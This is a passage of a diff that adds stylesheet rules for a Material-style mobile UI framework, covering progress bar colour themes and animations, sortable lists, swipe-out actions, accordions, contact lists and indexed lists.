.progressbar-infinite { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .progressbar span { + background: #f44336; +} +.md .color-theme-red .progressbar-infinite:before, +.md .color-theme-red .progressbar-infinite:after { + background: #f44336; +} +.md .color-theme-green .progressbar, +.md .color-theme-green .progressbar-infinite { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .progressbar span { + background: #4caf50; +} +.md .color-theme-green .progressbar-infinite:before, +.md .color-theme-green .progressbar-infinite:after { + background: #4caf50; +} +.md .color-theme-blue .progressbar, +.md .color-theme-blue .progressbar-infinite { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .progressbar span { + background: #2196f3; +} +.md .color-theme-blue .progressbar-infinite:before, +.md .color-theme-blue .progressbar-infinite:after { + background: #2196f3; +} +.md .color-theme-pink .progressbar, +.md .color-theme-pink .progressbar-infinite { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .progressbar span { + background: #e91e63; +} +.md .color-theme-pink .progressbar-infinite:before, +.md .color-theme-pink .progressbar-infinite:after { + background: #e91e63; +} +.md .color-theme-yellow .progressbar, +.md .color-theme-yellow .progressbar-infinite { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .progressbar span { + background: #ffeb3b; +} +.md .color-theme-yellow .progressbar-infinite:before, +.md .color-theme-yellow .progressbar-infinite:after { + background: #ffeb3b; +} +.md .color-theme-orange .progressbar, +.md .color-theme-orange .progressbar-infinite { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .progressbar span { + background: #ff9800; +} +.md .color-theme-orange .progressbar-infinite:before, +.md .color-theme-orange .progressbar-infinite:after { + background: #ff9800; +} +.md .color-theme-gray .progressbar, +.md .color-theme-gray .progressbar-infinite { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .progressbar span { + background: #9e9e9e; +} +.md .color-theme-gray .progressbar-infinite:before, +.md .color-theme-gray .progressbar-infinite:after { + background: #9e9e9e; +} +.md .color-theme-white .progressbar, +.md .color-theme-white .progressbar-infinite { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .progressbar span { + background: #ffffff; +} +.md .color-theme-white .progressbar-infinite:before, +.md .color-theme-white .progressbar-infinite:after { + background: #ffffff; +} +.md .color-theme-black .progressbar, +.md .color-theme-black .progressbar-infinite { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .progressbar span { + background: #000000; +} +.md .color-theme-black .progressbar-infinite:before, +.md .color-theme-black .progressbar-infinite:after { + background: #000000; +} +.md .progressbar.color-red, +.md .progressbar-infinite.color-red { + background: rgba(244, 67, 54, 0.5); +} +.md .progressbar.color-red span { + background: #f44336; +} +.md .progressbar-infinite.color-red:before, +.md .progressbar-infinite.color-red:after { + background: #f44336; +} +.md .progressbar.color-green, +.md .progressbar-infinite.color-green { + background: rgba(76, 175, 80, 0.5); +} +.md .progressbar.color-green span { + background: #4caf50; +} +.md .progressbar-infinite.color-green:before, +.md .progressbar-infinite.color-green:after { + background: #4caf50; +} +.md .progressbar.color-blue, +.md .progressbar-infinite.color-blue { + background: rgba(33, 150, 243, 0.5); +} +.md .progressbar.color-blue span { + background: #2196f3; +} +.md .progressbar-infinite.color-blue:before, +.md .progressbar-infinite.color-blue:after { + background: #2196f3; +} +.md .progressbar.color-pink, +.md .progressbar-infinite.color-pink { + background: rgba(233, 30, 99, 0.5); +} +.md .progressbar.color-pink span { + background: #e91e63; +} +.md .progressbar-infinite.color-pink:before, +.md .progressbar-infinite.color-pink:after { + background: #e91e63; +} +.md .progressbar.color-yellow, +.md .progressbar-infinite.color-yellow { + background: rgba(255, 235, 59, 0.5); +} +.md .progressbar.color-yellow span { + background: #ffeb3b; +} +.md .progressbar-infinite.color-yellow:before, +.md .progressbar-infinite.color-yellow:after { + background: #ffeb3b; +} +.md .progressbar.color-orange, +.md .progressbar-infinite.color-orange { + background: rgba(255, 152, 0, 0.5); +} +.md .progressbar.color-orange span { + background: #ff9800; +} +.md .progressbar-infinite.color-orange:before, +.md .progressbar-infinite.color-orange:after { + background: #ff9800; +} +.md .progressbar.color-gray, +.md .progressbar-infinite.color-gray { + background: rgba(158, 158, 158, 0.5); +} +.md .progressbar.color-gray span { + background: #9e9e9e; +} +.md .progressbar-infinite.color-gray:before, +.md .progressbar-infinite.color-gray:after { + background: #9e9e9e; +} +.md .progressbar.color-white, +.md .progressbar-infinite.color-white { + background: rgba(255, 255, 255, 0.5); +} +.md .progressbar.color-white span { + background: #ffffff; +} +.md .progressbar-infinite.color-white:before, +.md .progressbar-infinite.color-white:after { + background: #ffffff; +} +.md .progressbar.color-black, +.md .progressbar-infinite.color-black { + background: rgba(0, 0, 0, 0.5); +} +.md .progressbar.color-black span { + background: #000000; +} +.md .progressbar-infinite.color-black:before, +.md .progressbar-infinite.color-black:after { + background: #000000; +} +@-webkit-keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@-webkit-keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +@keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +/* === Sortable === */ +.sortable .sortable-handler { + position: absolute; + top: 0; + bottom: 1px; + z-index: 10; + background-repeat: no-repeat; + background-size: 18px 12px; + opacity: 0; + pointer-events: none; + cursor: move; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + right: 0; + background-position: 100% 50%; +} +.sortable .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable li.sorting { + z-index: 50; + background: rgba(255, 255, 255, 0.8); + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sortable li.sorting .item-inner:after { + display: none !important; +} +.sortable-sorting li { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable-enabled .sortable-handler { + pointer-events: auto; + opacity: 1; + background-position: 50% 50%; +} +.sortable-enabled .item-link .item-inner, +.sortable-enabled .item-link .item-title-row { + background-image: none !important; +} +.theme-dark .sortable li.sorting, +.sortable.theme-dark li.sorting { + background-color: rgba(50, 50, 50, 0.8); +} +.md .sortable-handler { + width: 50px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E"); +} +.md .sortable li.sorting { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .sortable-enabled .item-inner, +.md .sortable-enabled .item-link .item-inner { + padding-right: 50px; +} +.md .list.sortable-enabled .item-link.no-chevron .item-inner, +.md .list.sortable-enabled.no-chevron .item-link .item-inner, +.md .list.sortable-enabled .no-chevron .item-link .item-inner, +.md .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-right: 50px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-right-edge .sortable-handler, + .md.device-iphone-x .ios-edges .sortable-handler, + .md.device-iphone-x .popup .sortable-handler, + .md.device-iphone-x .sheet-modal .sortable-handler, + .md.device-iphone-x .panel-right .sortable-handler { + right: constant(safe-area-inset-right); + right: env(safe-area-inset-right); + } + .md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } +} +/* === Swipeout === */ +.swipeout { + overflow: hidden; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swipeout-deleting { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.swipeout-deleting .swipeout-content { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-transitioning .swipeout-content, +.swipeout-transitioning .swipeout-actions-right a, +.swipeout-transitioning .swipeout-actions-left a, +.swipeout-transitioning .swipeout-overswipe { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: left, -webkit-transform; + transition-property: left, -webkit-transform; + transition-property: transform, left; + transition-property: transform, left, -webkit-transform; +} +.swipeout-content { + position: relative; + z-index: 10; +} +.swipeout-overswipe { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: left; + transition-property: left; +} +.swipeout-actions-left, +.swipeout-actions-right { + position: absolute; + top: 0; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + direction: ltr; +} +.swipeout-actions-left > a, +.swipeout-actions-right > a, +.swipeout-actions-left > button, +.swipeout-actions-right > button, +.swipeout-actions-left > span, +.swipeout-actions-right > span, +.swipeout-actions-left > div, +.swipeout-actions-right > div { + color: #fff; + background: #c7c7cc; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + position: relative; + left: 0; +} +.swipeout-actions-left > a:after, +.swipeout-actions-right > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-right > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-right > span:after, +.swipeout-actions-left > div:after, +.swipeout-actions-right > div:after { + content: ''; + position: absolute; + top: 0; + width: 600%; + height: 100%; + background: inherit; + z-index: -1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.swipeout-actions-right { + right: 0%; + -webkit-transform: translateX(100%); + transform: translateX(100%); +} +.swipeout-actions-right > a:after, +.swipeout-actions-right > button:after, +.swipeout-actions-right > span:after, +.swipeout-actions-right > div:after { + left: 100%; + margin-left: -1px; +} +.swipeout-actions-left { + left: 0%; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-actions-left > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-left > div:after { + right: 100%; + margin-right: -1px; +} +.md .swipeout-actions-left > a, +.md .swipeout-actions-right > a, +.md .swipeout-actions-left > button, +.md .swipeout-actions-right > button, +.md .swipeout-actions-left > span, +.md .swipeout-actions-right > span, +.md .swipeout-actions-left > div, +.md .swipeout-actions-right > div { + padding: 0 24px; + color: #fff; +} +.md .swipeout-actions-left .swipeout-delete, +.md .swipeout-actions-right .swipeout-delete { + background: #f44336; +} +.md .swipeout-actions-left > a.color-red, +.md .swipeout-actions-right > a.color-red, +.md .swipeout-actions-left > button.color-red, +.md .swipeout-actions-right > button.color-red, +.md .swipeout-actions-left > span.color-red, +.md .swipeout-actions-right > span.color-red, +.md .swipeout-actions-left > div.color-red, +.md .swipeout-actions-right > div.color-red { + background-color: #f44336; +} +.md .swipeout-actions-left > a.color-green, +.md .swipeout-actions-right > a.color-green, +.md .swipeout-actions-left > button.color-green, +.md .swipeout-actions-right > button.color-green, +.md .swipeout-actions-left > span.color-green, +.md .swipeout-actions-right > span.color-green, +.md .swipeout-actions-left > div.color-green, +.md .swipeout-actions-right > div.color-green { + background-color: #4caf50; +} +.md .swipeout-actions-left > a.color-blue, +.md .swipeout-actions-right > a.color-blue, +.md .swipeout-actions-left > button.color-blue, +.md .swipeout-actions-right > button.color-blue, +.md .swipeout-actions-left > span.color-blue, +.md .swipeout-actions-right > span.color-blue, +.md .swipeout-actions-left > div.color-blue, +.md .swipeout-actions-right > div.color-blue { + background-color: #2196f3; +} +.md .swipeout-actions-left > a.color-pink, +.md .swipeout-actions-right > a.color-pink, +.md .swipeout-actions-left > button.color-pink, +.md .swipeout-actions-right > button.color-pink, +.md .swipeout-actions-left > span.color-pink, +.md .swipeout-actions-right > span.color-pink, +.md .swipeout-actions-left > div.color-pink, +.md .swipeout-actions-right > div.color-pink { + background-color: #e91e63; +} +.md .swipeout-actions-left > a.color-yellow, +.md .swipeout-actions-right > a.color-yellow, +.md .swipeout-actions-left > button.color-yellow, +.md .swipeout-actions-right > button.color-yellow, +.md .swipeout-actions-left > span.color-yellow, +.md .swipeout-actions-right > span.color-yellow, +.md .swipeout-actions-left > div.color-yellow, +.md .swipeout-actions-right > div.color-yellow { + background-color: #ffeb3b; +} +.md .swipeout-actions-left > a.color-orange, +.md .swipeout-actions-right > a.color-orange, +.md .swipeout-actions-left > button.color-orange, +.md .swipeout-actions-right > button.color-orange, +.md .swipeout-actions-left > span.color-orange, +.md .swipeout-actions-right > span.color-orange, +.md .swipeout-actions-left > div.color-orange, +.md .swipeout-actions-right > div.color-orange { + background-color: #ff9800; +} +.md .swipeout-actions-left > a.color-gray, +.md .swipeout-actions-right > a.color-gray, +.md .swipeout-actions-left > button.color-gray, +.md .swipeout-actions-right > button.color-gray, +.md .swipeout-actions-left > span.color-gray, +.md .swipeout-actions-right > span.color-gray, +.md .swipeout-actions-left > div.color-gray, +.md .swipeout-actions-right > div.color-gray { + background-color: #9e9e9e; +} +.md .swipeout-actions-left > a.color-white, +.md .swipeout-actions-right > a.color-white, +.md .swipeout-actions-left > button.color-white, +.md .swipeout-actions-right > button.color-white, +.md .swipeout-actions-left > span.color-white, +.md .swipeout-actions-right > span.color-white, +.md .swipeout-actions-left > div.color-white, +.md .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.md .swipeout-actions-left > a.color-black, +.md .swipeout-actions-right > a.color-black, +.md .swipeout-actions-left > button.color-black, +.md .swipeout-actions-right > button.color-black, +.md .swipeout-actions-left > span.color-black, +.md .swipeout-actions-right > span.color-black, +.md .swipeout-actions-left > div.color-black, +.md .swipeout-actions-right > div.color-black { + background-color: #000000; +} +/* === Accordion === */ +.accordion-item-toggle { + cursor: pointer; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state > .item-inner:after { + background-color: transparent; +} +.accordion-item-toggle .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.accordion-item-toggle .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .item-link .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .list, +.accordion-item .block { + margin-top: 0; + margin-bottom: 0; +} +.accordion-item .block > h1:first-child, +.accordion-item .block > h2:first-child, +.accordion-item .block > h3:first-child, +.accordion-item .block > h4:first-child, +.accordion-item .block > p:first-child { + margin-top: 10px; +} +.accordion-item .block > h1:last-child, +.accordion-item .block > h2:last-child, +.accordion-item .block > h3:last-child, +.accordion-item .block > h4:last-child, +.accordion-item .block > p:last-child { + margin-bottom: 10px; +} +.accordion-item-opened .accordion-item-toggle .item-inner:after, +.accordion-item-opened > .item-link .item-inner:after { + background-color: transparent; +} +.list li.accordion-item ul { + padding-left: 0; +} +.accordion-item-content { + position: relative; + overflow: hidden; + height: 0; + font-size: 14px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-opened > .accordion-item-content { + height: auto; +} +html.device-android-4 .accordion-item-content { + -webkit-transform: none; + transform: none; +} +.md .list .accordion-item-toggle .item-inner { + padding-right: 42px; + background: no-repeat calc(100% - 16px) center; +} +.md .list .accordion-item-toggle.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item > .item-link .item-title-row, +.md .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item.media-item > .item-link .item-title-row, +.md .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.md .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item-opened > .item-link .item-title-row, +.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item-opened.media-item > .item-link .item-title-row, +.md .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item > .item-link .item-title-row, +.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +/* === Contacts === */ +.contacts-list .list-group:first-child ul:before { + display: none !important; +} +.contacts-list .list-group:last-child ul:after { + display: none !important; +} +.md .contacts-list { + margin: 0; +} +.md .contacts-list .list-group-title { + padding: 0 16px; + pointer-events: none; + background: none; + color: #2196f3; + font-weight: 500; + line-height: 48px; + height: 48px; + font-size: 20px; + overflow: visible; + width: 56px; +} +.md .contacts-list .list-group-title + li { + margin-top: -48px; +} +.md .contacts-list li:not(.list-group-title) { + padding-left: 56px; +} +.md .theme-dark .contacts-list .list-group-title { + color: #fff; +} +/* === Virtual List === */ +/* === Indexed List === */ +.list-index { + position: absolute; + top: 0; + bottom: 0; + right: 0; + text-align: center; + z-index: 10; + width: 16px; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.list-index:before { + content: ''; + position: absolute; + width: 20px; + top: 0; + right: 100%; + height: 100%; +} +.list-index ul { + font-size: 11px; + font-weight: 600; + list-style: none; + margin: 0; + padding: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + height: 100%; + width: 100%; + position: relative; +} +.list-index li { + margin: 0; + padding: 0; + list-style: none; + position: relative; + height: 14px; + line-height: 14px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: block; + width: 100%; +} +.list-index .list-index-skip-placeholder:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + border-radius: 50%; +} +.list-index .list-index-label { + position: absolute; + bottom: 0; + right: 100%; + text-align: center; + border-radius: 50%; + color: #fff; + font-weight: 500; +} +.md .list-index ul { + color: #2196f3; +} +.md .list-index .list-index-skip-placeholder:after { + content: ''; + width: 4px; + height: 4px; + margin-left: -2px; + margin-top: -2px; + background: #2196f3; +} +.md .list-index .list-index-label { + width: 56px; + height: 56px; + line-height: 56px; + border-radius: 50% 50% 0 50%; + background: #2196f3; + font-size: 20px; +} +.md .navbar ~ .list-index { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .list-index { + top: 64px; + } +} +.md .navbar ~ .toolbar:not(.toolbar-bottom-md) ~ .list-index, +.md .navbar ~ .subnavbar ~ .list-index, +.md .page-with-subnavbar .navbar ~ .list-index { + top: 104px; +} +.md .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .list-index { + top: 128px; +} +.md .toolbar-bottom-md ~ .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index { + bottom: 48px; +} +.md .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: 56px; +} +.md.device-iphone-x .toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); +} +.md .color-theme-red .list-index ul, +.md .list-index.color-theme-red ul { + color: #f44336; +} +.md .color-theme-red .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-red .list-index-skip-placeholder:after, +.md .color-theme-red .list-index .list-index-label, +.md .list-index.color-theme-red .list-index-label { + background-color: #f44336; +} +.md .color-theme-green .list-index ul, +.md .list-index.color-theme-green ul { + color: #4caf50; +} +.md .color-theme-green .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-green .list-index-skip-placeholder:after, +.md .color-theme-green .list-index .list-index-label, +.md .list-index.color-theme-green .list-index-label { + background-color: #4caf50; +} +.md .color-theme-blue .list-index ul, +.md .list-index.color-theme-blue ul { + color: #2196f3; +} +.md .color-theme-blue .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-blue .list-index-skip-placeholder:after, +.md .color-theme-blue .list-index .list-index-label, +.md .list-index.color-theme-blue .list-index-label { + background-color: #2196f3; +} +.md .color-theme-pink .list-index ul, +.md .list-index.color-theme-pink ul { + color: #e91e63; +} +.md .color-theme-pink .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-pink 